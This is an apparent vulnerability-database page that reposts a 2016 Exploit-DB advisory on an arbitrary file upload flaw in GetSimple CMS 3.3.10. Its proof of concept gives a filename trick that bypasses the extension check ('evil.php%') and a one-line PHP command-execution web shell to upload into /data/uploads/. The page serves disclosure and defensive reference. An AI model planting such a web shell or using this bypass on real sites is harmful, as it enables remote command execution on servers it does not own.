Getsimple CMS - exploit.company

vendor:

GetSimple CMS

by:

s0nk3y

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: GetSimple CMS

Affected Version From: 3.3.10

Affected Version To: 3.3.10

Patch Exists: YES

Related CWE: N/A

CPE: a:get-simple:get-simple_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 16.04 / Mozilla Firefox

2016

Getsimple CMS <= 3.3.10 Arbitrary File Upload Vulnerability

GetSimpleCMS Version 3.3.10 suffers from arbitrary file upload vulnerability which allows an attacker to upload a backdoor. This vulnerability is that the application uses a blacklist and whitelist technique to compare the file against mime types and extensions. For exploiting this vulnerability we will create a file by adding the percent behind extension.

Mitigation:

Ensure that the application is using a secure file upload mechanism that validates the file type and size before allowing the file to be uploaded.

Source

Exploit-DB raw data:

# Exploit Title: Getsimple CMS <= 3.3.10 Arbitrary File Upload Vulnerability
# Google Dork: -
# Date: 23/06/2016
# Exploit Author: s0nk3y
# Vendor Homepage: http://get-simple.info/
# Category: webapps
# Software Link: http://get-simple.info/data/uploads/releases/GetSimpleCMS-3.3.10.zip
# Version: 3.3.10
# Tested on: Ubuntu 16.04 / Mozilla Firefox
# Twitter: http://twitter.com/s0nk3y
# Linkedin: Rahmat Nurfauzi - http://linkedin.com/in/rahmatnurfauzi

Description
========================

GetSimple CMS has been downloaded over 120,000 times (as of March 2013). 
The magazine t3n assigns GetSimple as "micro" and "Minimal-CMS" one, praises 
the simplicity yet possible extensibility through plug-ins.

Vulnerability
========================

GetSimpleCMS Version 3.3.10 suffers from arbitrary file upload vulnerability 
which allows an attacker to upload a backdoor.

This vulnerability is that the application uses a blacklist and whitelist 
technique to compare the file against mime types and extensions.

Proof of Concept
========================

For exploiting this vulnerability we will create a file by adding the percent 
behind extension.
1. evil.php% <--- this is simple trick :)
<?php
// simple backdoor
system($_GET['cmd']);
?>
2. An attacker login to the admin page and uploading the backdoor
3. The uploaded file will be under the "/data/uploads/" folder

Report Timeline
========================
2016-06-23 : Vulnerability reported to vendor
2016-06-23 : Disclosure